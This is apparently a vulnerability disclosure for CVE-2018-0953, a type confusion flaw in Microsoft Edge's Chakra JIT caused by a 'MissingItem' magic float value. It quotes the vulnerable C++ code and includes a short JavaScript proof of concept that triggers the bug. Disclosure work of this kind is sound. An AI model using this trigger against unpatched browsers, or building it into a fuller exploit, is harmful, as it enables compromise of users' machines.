Microsoft Edge Chakra JIT suffers from an issue where a magic value can cause a type confusion vulnerability.
b607bd66ac346df35ba88f1fbce5078e0b85fdb7c50c28f6628624a5252e48aa
Microsoft Edge: Chakra: JIT: Magic value can cause type confusion
CVE-2018-0953
BOOL JavascriptNativeFloatArray::SetItem(uint32 index, double dValue)
{
if (*(uint64*)&dValue == *(uint64*)&JavascriptNativeFloatArray::MissingItem)
{
JavascriptArray *varArr = JavascriptNativeFloatArray::ToVarArray(this);
varArr->DirectSetItemAt(index, JavascriptNumber::ToVarNoCheck(dValue, GetScriptContext()));
return TRUE;
}
this->DirectSetItemAt<double>(index, dValue);
return TRUE;
}
As you can see above, if the double value given as the parameter equals to JavascriptNativeFloatArray::MissingItem, it converts the float array to a var array. And since the JITed code doesn't check whether the input is a magic value (MissingItem) which can cause a type conversion, it could result in type confusion.
function opt(arr, value) {
arr[1] = value;
arr[0] = 2.3023e-320;
}
function main() {
for (let i = 0; i < 0x10000; i++)
opt([1.1], 2.2);
let arr = [1.1];
opt(arr, -5.3049894784e-314); // MAGIC VALUE!
print(arr);
}
main();
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
Found by: lokihardt